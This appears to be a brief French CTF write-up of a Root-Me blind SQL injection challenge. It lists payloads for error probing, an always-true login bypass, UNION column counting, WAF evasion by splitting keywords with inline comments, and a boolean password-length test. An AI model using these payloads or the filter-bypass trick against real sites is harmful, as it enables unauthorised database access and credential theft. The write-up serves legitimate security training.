← CTF archive

· Date recorded in the note

[Root-Me] Blind SQLi RootMe

Étudiant Date Sujet
Hamza 3/29/2023 Blind SQLi

Erreur et type de base de données

admin
admin'

Screenshot

Condition vraie

username=admin&password=admin' OR '1'='1

Screenshot

Déterminer le nombre de colonnes

admin
admin' UNION select null,null

Screenshot

On ne peut pas déterminer visuellement le nombre de colonnes. Le WAF bloque nos requêtes.

Contournement du WAF

admin' OR '1'='1 UNI/**/ON/**/SEL/**/ECT/**/null,null

On connaît déjà le nom de la table.

admin' AND (SEL/**/ECT le/**/ng/**/th(password)>7 FROM TABLE)

On passe des informations générales aux détails.

Dans ce test, LIKE ne fait pas de distinction entre les majuscules et les minuscules. LIKE permet ici de tester si la valeur contient une lettre.